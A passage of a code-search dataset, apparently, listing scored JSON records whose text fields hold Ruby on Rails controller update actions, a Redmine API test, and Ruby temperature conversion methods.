"text": "def update\n @tipo_examen = TipoExamen.find(params[:id])\n\n respond_to do |format|\n if @tipo_examen.update_attributes(params[:tipo_examen])\n format.html {\n flash[:notice] = 'TipoExamen actualizado correctamente.'\n redirect_to(@tipo_examen)\n }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipo_examen.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "97db877483e6a0e846ca0bc297d4f62a",
"score": "0.59205014",
"text": "def update\n respond_to do |format|\n if @apenado.update(apenado_params)\n format.html { redirect_to @apenado, notice: 'Apenado was successfully updated.' }\n format.json { render :show, status: :ok, location: @apenado }\n else\n format.html { render :edit }\n format.json { render json: @apenado.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "989c1f5eec5f7c33d62ab102ae620528",
"score": "0.5920256",
"text": "def update\n @aluno = Aluno.find(params[:id])\n\n respond_to do |format|\n if @aluno.update_attributes(params[:aluno])\n format.html { redirect_to(alunos_path, :notice => 'Registro alterado com sucesso!') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @aluno.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0a4a6ec70371a63a53d9a2c72743d72f",
"score": "0.59186673",
"text": "def update\n @tipo_usuario = TipoUsuario.find(params[:id])\n\n respond_to do |format|\n if @tipo_usuario.update_attributes(params[:tipo_usuario])\n format.html { redirect_to(@tipo_usuario, :notice => 'Permissao alterada com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipo_usuario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "316eadcc186ae4f7f6f6ec06f506be8b",
"score": "0.5918257",
"text": "def update\n @entrega = Entrega.find(params[:id])\n\n respond_to do |format|\n if @entrega.update_attributes(params[:entrega])\n format.html { redirect_to(@entrega, :notice => 'Entrega was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entrega.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f198030b3418a895f414f54830b3a30d",
"score": "0.5917538",
"text": "def update\n @assunto = Assunto.find(params[:id])\n\n respond_to do |format|\n if @assunto.update_attributes(params[:assunto])\n format.html { redirect_to(assunto_url, :notice => 'Assunto was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @assunto.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "34ad4bf900a0586e04c31a2c9e33afc1",
"score": "0.59136015",
"text": "def update\n @equivalencia = Equivalencia.find(params[:id])\n\n respond_to do |format|\n if @equivalencia.update_attributes(params[:equivalencia])\n format.html { redirect_to(@equivalencia, :notice => 'Equivalencia was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @equivalencia.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8722989642f1507474ef135d9b4a2612",
"score": "0.5913578",
"text": "def update\n @iguanastipo = Iguanastipo.find(params[:id])\n\n respond_to do |format|\n if @iguanastipo.update_attributes(params[:iguanastipo])\n format.html { redirect_to(@iguanastipo, :notice => 'Iguanastipo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @iguanastipo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "71a6fe346361b5590ab0ddec64a1485e",
"score": "0.5912231",
"text": "def update\n @porra = Porra.find(params[:id])\n\n respond_to do |format|\n if @porra.update_attributes(params[:porra])\n format.html { redirect_to(@porra, :notice => 'Porra was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @porra.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "07c1196a4fb372813cc989c328f95637",
"score": "0.5903965",
"text": "def update\n @ponto_diario = PontoDiario.find(params[:id])\n\n respond_to do |format|\n if @ponto_diario.update_attributes(params[:ponto_diario])\n format.html { redirect_to(@ponto_diario, :notice => 'Ponto diario atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ponto_diario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2951a7dde8ac992db2063b55af0e1ad5",
"score": "0.5896817",
"text": "def update\n @administracaos = Administracao.find(params[:id])\n\n respond_to do |format|\n if @administracaos.update_attributes(params[:administracao])\n flash[:notice] = 'SALVO COM SUCESSO.'\n format.html { redirect_to(@administracaos) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @administracaos.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "faae01059690e7c1e2db2ec33c860fdd",
"score": "0.58934325",
"text": "def update\n @exemplo = Exemplo.find(params[:id])\n\n respond_to do |format|\n if @exemplo.update_attributes(params[:exemplo])\n flash[:notice] = 'Exemplo was successfully updated.'\n format.html { redirect_to(@exemplo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @exemplo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e0ecfcb699b95c84dde220b2c71dea72",
"score": "0.5892712",
"text": "def update\n @empresa = Empresa.find(params[:id])\n\n respond_to do |format|\n if @empresa.update_attributes(params[:empresa])\n flash[:notice] = 'Empresa actualizado correctamente.'\n format.html { redirect_to(@empresa) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @empresa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4ab4dcb8525438c0f153518231463821",
"score": "0.58892083",
"text": "def update\n @tipocuenta = Tipocuenta.find(params[:id])\n\n respond_to do |format|\n if @tipocuenta.update_attributes(params[:tipocuenta])\n format.html { redirect_to(@tipocuenta, :notice => 'Tipocuenta was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipocuenta.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0e2bb559946082ebe19e4af093e06419",
"score": "0.58866036",
"text": "def update\n @estado = Estado.find(params[:id])\n\n respond_to do |format|\n if @estado.update_attributes(params[:estado])\n flash[:notice] = \"Estado atualizado com sucesso.\"\n format.html { redirect_to(admin_estados_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estado.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e875d550cd56fad82c06b904d707078b",
"score": "0.5884421",
"text": "def update\n @prestamo = Prestamo.find(params[:id])\n\n respond_to do |format|\n @prestamo.update_attributes(params[:prestamo])\n format.html { redirect_to prestamos_url }\n end\n end",
"title": ""
},
{
"docid": "911e8f0d69cc66b655f28d3f475ea5ca",
"score": "0.58742106",
"text": "def update\n respond_to do |format|\n if @aspirante.update(aspirante_params)\n format.html { redirect_to @aspirante, notice: 'Aspirante was successfully updated.' }\n format.json { render :show, status: :ok, location: @aspirante }\n else\n format.html { render :edit }\n format.json { render json: @aspirante.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ba39d0fa374658cb9542d1d5849415cf",
"score": "0.5874034",
"text": "def update\n @nome = Nome.find(params[:id])\n\n respond_to do |format|\n if @nome.update_attributes(params[:nome])\n format.html { redirect_to(@nome, :notice => 'Nome was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @nome.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "93b05c854e93a82f35e805a2d85adb3d",
"score": "0.5873007",
"text": "def update\n @obrasproyecto = Obrasproyecto.find(params[:id])\n\n respond_to do |format|\n if @obrasproyecto.update_attributes(params[:obrasproyecto])\n flash[:notice] = 'Obrasproyecto was successfully updated.'\n format.html { redirect_to(@obrasproyecto) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @obrasproyecto.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c765e0c9b6de25c0c3f9236b338f16ff",
"score": "0.5869518",
"text": "def update\n @doacao = Doacao.find(params[:id])\n @doacao.pessoa.update_attributes(params[:pessoa]) \n \n respond_to do |format|\n if @doacao.update_attributes(params[:doacao])\n format.html { redirect_to(@doacao, :notice => ' - Dados atualizados com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @doacao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f4510681d11f82492e84a893389caf9e",
"score": "0.5862683",
"text": "def update\n @orc_ata_iten = OrcAtaIten.find(params[:id])\n\n respond_to do |format|\n if @orc_ata_iten.update_attributes(params[:orc_ata_iten])\n flash[:notice] = 'SALVO COM SUCESSO'\n format.html { redirect_to(home_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @orc_ata_iten.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7765fdba8cfd16c6d1248988d378e214",
"score": "0.58604187",
"text": "def update\n @asesoria = Asesoria.find(params[:id])\n\n respond_to do |format|\n if @asesoria.update_attributes(params[:asesoria])\n format.html { redirect_to @asesoria, notice: 'Asesoria was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @asesoria.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ef0c5e68037eb2d68c7a3cc951b7bd2e",
"score": "0.5858716",
"text": "def update\n @nuevo_usuario = NuevoUsuario.find(params[:id])\n\n respond_to do |format|\n if @nuevo_usuario.update_attributes(params[:nuevo_usuario])\n format.html { redirect_to(@nuevo_usuario, :notice => 'Nuevo usuario was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @nuevo_usuario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7bb92c6350846c16a738f1a7ecc8b01d",
"score": "0.58529794",
"text": "def update\n @aporte = Aporte.find(params[:id])\n\n respond_to do |format|\n if @aporte.update_attributes(params[:aporte])\n format.html { redirect_to @aporte, notice: 'Aporte was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aporte.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "287daae2194287e8f09a0776a8b520e0",
"score": "0.5846491",
"text": "def update\n @resenha = Resenha.find(params[:id])\n\n respond_to do |format|\n if @resenha.update_attributes(params[:resenha])\n flash[:notice] = 'Resenha was successfully updated.'\n format.html { redirect_to(@resenha) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @resenha.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "10130552c0a0032a0bf94ea80a196229",
"score": "0.58456373",
"text": "def update\n @topogra = Topogra.find(params[:id])\n\n respond_to do |format|\n if @topogra.update_attributes(params[:topogra])\n flash[:notice] = 'Topogra was successfully updated.'\n format.html { redirect_to(@topogra) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @topogra.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "94ce366c637fba8d29bbcaa7f32765c6",
"score": "0.5845463",
"text": "def update\n @orc_uni_orcamentaria = OrcUniOrcamentaria.find(params[:id])\n\n respond_to do |format|\n if @orc_uni_orcamentaria.update_attributes(params[:orc_uni_orcamentaria])\n flash[:notice] = 'SALVO COM SUCESSO.'\n format.html { redirect_to(@orc_uni_orcamentaria) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @orc_uni_orcamentaria.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1b9f77a62e7a70a3f17679386891a2c3",
"score": "0.58436525",
"text": "def update\n @agendashorario = Agendashorario.find(params[:id])\n\n respond_to do |format|\n if @agendashorario.update_attributes(params[:agendashorario])\n format.html { redirect_to(@agendashorario, :notice => 'Agendashorario was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @agendashorario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "05ea17c98e44cddbeef3eb53041a3cf1",
"score": "0.58421737",
"text": "def update\n @enquete = Enquete.find(params[:id])\n\n respond_to do |format|\n if @enquete.update_attributes(params[:enquete])\n format.html { redirect_to(@enquete, :notice => 'Enquete atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @enquete.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "99d24a74bc96db3bd84b0451ef3afb5f",
"score": "0.5842047",
"text": "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"title": ""
},
{
"docid": "e565890dcd9c164446c7f4d76ec62cf7",
"score": "0.5839874",
"text": "def update\n @paquete = Paquete.find(params[:id])\n\n respond_to do |format|\n if @paquete.update_attributes(params[:paquete])\n format.html { redirect_to(@paquete, :notice => t('paqueteactualizar')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @paquete.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dc9e0bc5c524996d0c9efc9685f8fd9e",
"score": "0.5839863",
"text": "def update\n @emissora = Emissora.find(params[:id])\n\n respond_to do |format|\n if @emissora.update_attributes(params[:emissora])\n format.html { redirect_to(@emissora, :notice => 'Emissora was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @emissora.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dc3ac51db86da1e49ea58d0bae31fa1e",
"score": "0.5837242",
"text": "def update\n respond_to do |format|\n if @causa_egreso.update_attributes(params[:causa_egreso])\n format.html { redirect_to(@causa_egreso, :notice => 'Causa egreso was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @causa_egreso.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "38979984bdedacd95706689e25f09f9e",
"score": "0.58347803",
"text": "def put(document, method='')\n @resource[method].put(document.to_s, :content_type => 'text/xml')\n end",
"title": ""
},
{
"docid": "002dafcaa2b4014fc2648dae255c0b51",
"score": "0.5834553",
"text": "def update\n @tipos_apartamento = TiposApartamento.find(params[:id])\n\n respond_to do |format|\n if @tipos_apartamento.update_attributes(params[:tipos_apartamento])\n flash[:notice] = 'TiposApartamento was successfully updated.'\n format.html { redirect_to(@tipos_apartamento) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipos_apartamento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fbd7c46b15ae2792fd842ba0d764b7d0",
"score": "0.5833158",
"text": "def put uri, args = {}; Request.new(PUT, uri, args).execute; end",
"title": ""
},
{
"docid": "2b6d4bc845ae824330b2f34a4d88cdb5",
"score": "0.5831667",
"text": "def update\n @examen = Examen.find(params[:id])\n # params[:examen][:tipo_estado_examen_id] = 'PRUEBA' if params[:examen][:tipo_estado_examen_id]\n respond_to do |format|\n if @examen.update_attributes(params[:examen])\n flash[:mensaje] = \"Datos editados satisfactoriamente\"\n format.html { redirect_to :controller => 'examenes'}\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @examen.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c9b1b36f06e12ac6dbb27d1503eb9c91",
"score": "0.5827048",
"text": "def update\n @atendimento_aee = AtendimentoAee.find(params[:id])\n\n respond_to do |format|\n if @atendimento_aee.update_attributes(params[:atendimento_aee])\n flash[:notice] = 'AtendimentoAee was successfully updated.'\n format.html { redirect_to(@atendimento_aee) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @atendimento_aee.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2fdd86756d7b4fb9477b4aac46ebc233",
"score": "0.5823957",
"text": "def update\n @asignatura = Asignatura.find(params[:id])\n\n respond_to do |format|\n if @asignatura.update_attributes(params[:asignatura])\n format.html { redirect_to @asignatura, notice: 'Asignatura was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @asignatura.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7abccc19ebf394ceee6bfbe22785a1b3",
"score": "0.58215916",
"text": "def update\n @aluno = Aluno.find(params[:id])\n\n respond_to do |format|\n if @aluno.update_attributes(params[:aluno])\n format.html { redirect_to(consultar_aluno_path(@aluno), :notice => 'O aluno foi editado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"editar\" }\n format.xml { render :xml => @aluno.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "35277bf1b8be128aba37c29809f0c45d",
"score": "0.5821555",
"text": "def update\n @especialista = Especialista.find(params[:id])\n\n respond_to do |format|\n if @especialista.update_attributes(params[:especialista])\n flash[:notice] = 'Especialista se ha actualizado con exito.'\n format.html { redirect_to(admin_especialistas_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @especialista.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dabaaacc799019b0211d250061f3be92",
"score": "0.5819468",
"text": "def update\n @servico = Servico.find(params[:id])\n\n respond_to do |format|\n if @servico.update_attributes(params[:servico])\n\n format.html { redirect_to(servicos_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @servico.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "12f1a6c78e57e2e39ebc4457000e9996",
"score": "0.58190924",
"text": "def update\n @oficio_prefeitura.update(oficio_prefeitura_params)\n respond_with( [ :admin, @oficio_prefeitura] )\n end",
"title": ""
},
{
"docid": "f6b625776e3109250734b1b663412f8c",
"score": "0.5817607",
"text": "def update\n @estado_pago = EstadoPago.find(params[:id])\n\n respond_to do |format|\n if @estado_pago.update_attributes(params[:estado_pago])\n format.html { redirect_to(@estado_pago, :notice => 'Estado pago was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estado_pago.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ea7f3018889ffa4373a7f559f49c53aa",
"score": "0.58172345",
"text": "def update\n @feira_adocao = FeiraAdocao.find(params[:id])\n\n respond_to do |format|\n if @feira_adocao.update_attributes(params[:feira_adocao])\n format.html { redirect_to @feira_adocao, notice: 'Feira adocao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feira_adocao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "796bf1586f47a4b4775013ddd0deda75",
"score": "0.581543",
"text": "def update\n @apartamento = Apartamento.find(params[:id])\n\n respond_to do |format|\n if @apartamento.update_attributes(params[:apartamento])\n flash[:notice] = 'Apartamento was successfully updated.'\n format.html { redirect_to(@apartamento) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @apartamento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "92798bbc316ab10b634e889d99ebce4f",
"score": "0.58137",
"text": "def update\n @anttitulacionespersona = Anttitulacionespersona.find(params[:id])\n\n respond_to do |format|\n if @anttitulacionespersona.update_attributes(params[:anttitulacionespersona])\n flash[:notice] = 'Anttitulacionespersona was successfully updated.'\n format.html { redirect_to(@anttitulacionespersona) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @anttitulacionespersona.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "15153aa4be542e122a6fba20abed9600",
"score": "0.5812946",
"text": "def update\n @nacional_de_apertura = NacionalDeApertura.find(params[:id])\n\n respond_to do |format|\n if @nacional_de_apertura.update_attributes(params[:nacional_de_apertura])\n format.html { redirect_to @nacional_de_apertura, notice: 'Nacional de apertura was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @nacional_de_apertura.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1d5abc1010a2b5f064ad5dddb4d4d0a6",
"score": "0.58104277",
"text": "def update\n @empleado = Empleado.find(params[:empleado_id])\n @asistencia = @empleado.asistencias.find(params[:id])\n\n respond_to do |format|\n if @asistencia.update(asistencia_params)\n format.html { redirect_to [@asistencia.empleado, @asistencia], notice: 'Asistencia was successfully updated.' }\n format.json { render :show, status: :ok, location: @asistencia }\n else\n format.html { render :edit }\n format.json { render json: @asistencia.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
94830bb9c40f164d4e1da25ea4abe61f
|
these are instance methods that are called on the object to return the converted temperature.
|
[
{
"docid": "d2eaf7fc913fb62a65b4431d3ba23b03",
"score": "0.6724485",
"text": "def in_fahrenheit\n self.class.ctof(@temperature)\n end",
"title": ""
}
] |
[
{
"docid": "4d6b4c601167b1c6b1d26724078840eb",
"score": "0.75840324",
"text": "def temperature_converter(temp_in_celcius)\n return temp_in_celcius * 9.0/5 + 32\nend",
"title": ""
},
{
"docid": "528de5d8eb913677f377ffa4c4cd4fa6",
"score": "0.7438878",
"text": "def temperature\n Temperature.new(degrees)\n end",
"title": ""
},
{
"docid": "460836cb17eafd52424ed61625db3238",
"score": "0.73550653",
"text": "def temperature\n weather_object.temperature\n end",
"title": ""
},
{
"docid": "984eca7167be18edf8bbe3a473dbb452",
"score": "0.7311565",
"text": "def convert_temp(weather)\n farenheit = weather[:temperature_farenheit]\n celcius = (farenheit - 32.0) * (5.0 / 9.0)\n celcius.round(2)\nend",
"title": ""
},
{
"docid": "dc7c90affc2c5d24276592d1346a6d3c",
"score": "0.7282584",
"text": "def convert(_F_temp)\n _Celcius = (_F_temp - 32.0) * 5 / 9\nend",
"title": ""
},
{
"docid": "7f43d8e90e8cab03d011782815957bd8",
"score": "0.7187808",
"text": "def convert_temperature(temperature, from, to)\n convert_from_celsius(convert_to_celsius(temperature, from), to)\nend",
"title": ""
},
{
"docid": "15958e3329cb35f7eb14a5a4b2c2d1f1",
"score": "0.717441",
"text": "def convert_temp(weather)\n ((weather[:temperature_farenheit] - 32.0) * (5.0/9.0)).round(2)\nend",
"title": ""
},
{
"docid": "81cd3c12b763b8bb7363a5c5249c3886",
"score": "0.70267624",
"text": "def convert_temp temperature, input_scale:, output_scale: 'celsius'\n temperature = temperature.to_f\n case input_scale\n when \"celsius\"\n return case output_scale\n when \"celsius\"\n temperature\n when \"fahrenheit\"\n (temperature * 9 / 5) + 32\n when \"kelvin\"\n temperature + 273.15\n end\n when \"fahrenheit\"\n return case output_scale\n when \"celsius\"\n (temperature - 32) * 5 / 9\n when \"fahrenheit\"\n temperature\n when \"kelvin\"\n (temperature - 32) * 5 / 9 + 273.15\n end\n when \"kelvin\"\n return case output_scale\n when \"celsius\"\n temperature - 273.15\n when \"fahrenheit\"\n (temperature - 273.15) * 9 / 5 + 32\n when \"kelvin\"\n temperature\n end\n end\nend",
"title": ""
},
{
"docid": "8bab62996ab0a4985f7b65241dc82a1c",
"score": "0.7025666",
"text": "def read_temperature\n return @temperature\n end",
"title": ""
},
{
"docid": "75475721ff4c681cf88082a0b04def43",
"score": "0.6987355",
"text": "def convert(temperature_in_F)\n 5 * (Float(temperature_in_F) - 32) / 9\nend",
"title": ""
},
{
"docid": "1ef6810ca6f3fc73e99befebeb8797a6",
"score": "0.6981744",
"text": "def get_value\n raw_temperature = get_raw_value;\n integer = raw_temperature >> INTEGER_MASK;\n fractional = (raw_temperature & FRACTIONAL_MASK)*10/16;\n temperature = integer.to_s + '.' + fractional.to_s;\n end",
"title": ""
},
{
"docid": "89df91459b421668faf655ba13e2b8dc",
"score": "0.693282",
"text": "def converter(choice, orig_temp)\n if (choice == 1)\n # celsius to fahrenheit\n puts \"original temperature = #{orig_temp} degrees Celsius\"\n converted = (orig_temp.to_f * (9.0/5.0)) + 32\n puts \"#{converted} degrees Fahrenheit\"\n return converted\n else\n # fahrenheit to celsius\n puts \"original temperature = #{orig_temp} degrees Fahrenheit\"\n converted = (orig_temp - 32.0) *(5.0/9.0)\n puts \"#{converted} degrees Celsius\"\n return converted\n end\nend",
"title": ""
},
{
"docid": "d948421741c01d273e9cfb5c9a945c56",
"score": "0.693247",
"text": "def convert_temperature(current_type, new_type, value)\n if current_type == new_type\n value\n else\n case current_type\n when 'f' \n converted_value = (value - 32.0) * 5.0 / 9\n if new_type == 'c'\n converted_value\n else\n converted_value + 273.15\n end\n when 'k'\n converted_value = value - 273.15\n if new_type == 'f'\n (converted_value / (5.0 / 9)) + 32\n else\n converted_value\n end\n when 'c'\n if new_type == 'f'\n value / (5.0 / 9) + 32\n else\n value + 273.15\n end\n end\n end\nend",
"title": ""
},
{
"docid": "4b5510bf072afb8ef63c82fa4cff76e0",
"score": "0.69034886",
"text": "def convert(temperature_in_F)\n\t(temperature_in_F - 32) / 1.8\nend",
"title": ""
},
{
"docid": "6be11aef0cbbfffdd29229562c31e439",
"score": "0.68669796",
"text": "def temperature(scale=:c)\n send_command(COMMANDS[:temperature])\n temp = read_result\n\n if temp.nil?\n return nil\n else\n converted_temp = -39.65 + (0.01 * temp)\n if scale == :f\n return celcius_to_fahrenheit(converted_temp)\n else\n return converted_temp\n end\n end\n end",
"title": ""
},
{
"docid": "bb7a3c3fad053b401be72f2b1694a5fb",
"score": "0.6840567",
"text": "def convert_to_fahrenheit (degrees, original_temp)\n if original_temp == \"c\"\n conv_temperature=((degrees * 1.8)+32)\n else #Kelvin\n conv_temperature= ((degrees*1.8)-459.67)\n end\n return conv_temperature\nend",
"title": ""
},
{
"docid": "0b210ddd20d14881d899a44a4d8c3216",
"score": "0.6823607",
"text": "def convertF()\n\t\tif scale == 'C' || scale == 'c'\n\t\t\tnewDegree = (degrees.to_f * (9.0/5.0)) + 32.0\n\t\telsif scale == 'K' || scale == 'k'\n\t\t\tnewDegree = (degrees.to_f - 273.15) * (9.0/5.0) + 32.0\n\t\telse\n\t\t\tnewDegree = degrees.to_f\n\t\tend\n\t\tnewTemp = Temperature.new(newDegree,'F')\n\tend",
"title": ""
},
{
"docid": "ba3c586fb20ec86221ef54a07c8b2dd3",
"score": "0.68229395",
"text": "def getInF()\r\n if @myScale == 'F' or @myScale == 'f'\r\n return self\r\n else\r\n degreeF = 0.0\r\n if @myScale == 'C' or @myScale == 'c'\r\n degreeF = ((9.0/5.0) * @myDegree) + 32.0\r\n else\r\n degreeF = (@myDegree - 273.15) * (9.0/5.0) + 32.0\r\n end\r\n myTemp = Temperature.new(degreeF, 'F')\r\n return myTemp\r\n end\r\n end",
"title": ""
},
{
"docid": "d1a6672433919179c2d422ea1e25ace6",
"score": "0.6809827",
"text": "def convert_celsius(temp)\n\n #Convert temperature to celsius and return value\n temp_celsius = (temp.to_i - 32) * 5 / 9\n\n return temp_celsius.round(2)\n\nend",
"title": ""
},
{
"docid": "84cc5dcaa5f8882057596ed738ba3a0e",
"score": "0.68063146",
"text": "def convertC()\n\t\tif scale == 'F' || scale == 'f'\n\t\t\tnewDegree = (degrees.to_f - 32.0) * (5.0/9.0)\n\t\telsif scale == 'K' || scale == 'k'\n\t\t\tnewDegree = (degrees.to_f - 273.15)\n\t\telse\n\t\t\tnewDegree = degrees.to_f\n\t\tend\n\t\tnewTemp = Temperature.new(newDegree,'C')\t\t\n\tend",
"title": ""
},
{
"docid": "76f29756d3de90c6a889e51420b24540",
"score": "0.67830384",
"text": "def convert_temp(weather_hash)\n celsius = ((weather_hash[:temperature_farenheit]) - 32.0)*(5.0/9)\n return celsius.round(2)\nend",
"title": ""
},
{
"docid": "1210f37acc1ed07e571f8e0608635280",
"score": "0.67712075",
"text": "def temperature_string\n object.temperature.to_s + \" °C\" unless object.temperature.nil?\n end",
"title": ""
},
{
"docid": "1cb56188fedbe82d014223283c16918f",
"score": "0.67569554",
"text": "def toCelsius()\n case @myScale\n when 'F', 'f'\n newDeg = (5.0/9.0) * (@myDegree - 32.0)\n return Temperature.new(newDeg, 'C')\n when 'C', 'c'\n # Already in Celsius\n return self\n when 'K', 'k'\n newDeg = @myDegree - 273.15\n return Temperature.new(newDeg, 'C')\n else\n puts \"Invalid temperature scale [toC]\"\n return false\n end #case\n end",
"title": ""
},
{
"docid": "aa6a8dd2de19875b67fc33e9e786ffe7",
"score": "0.6740798",
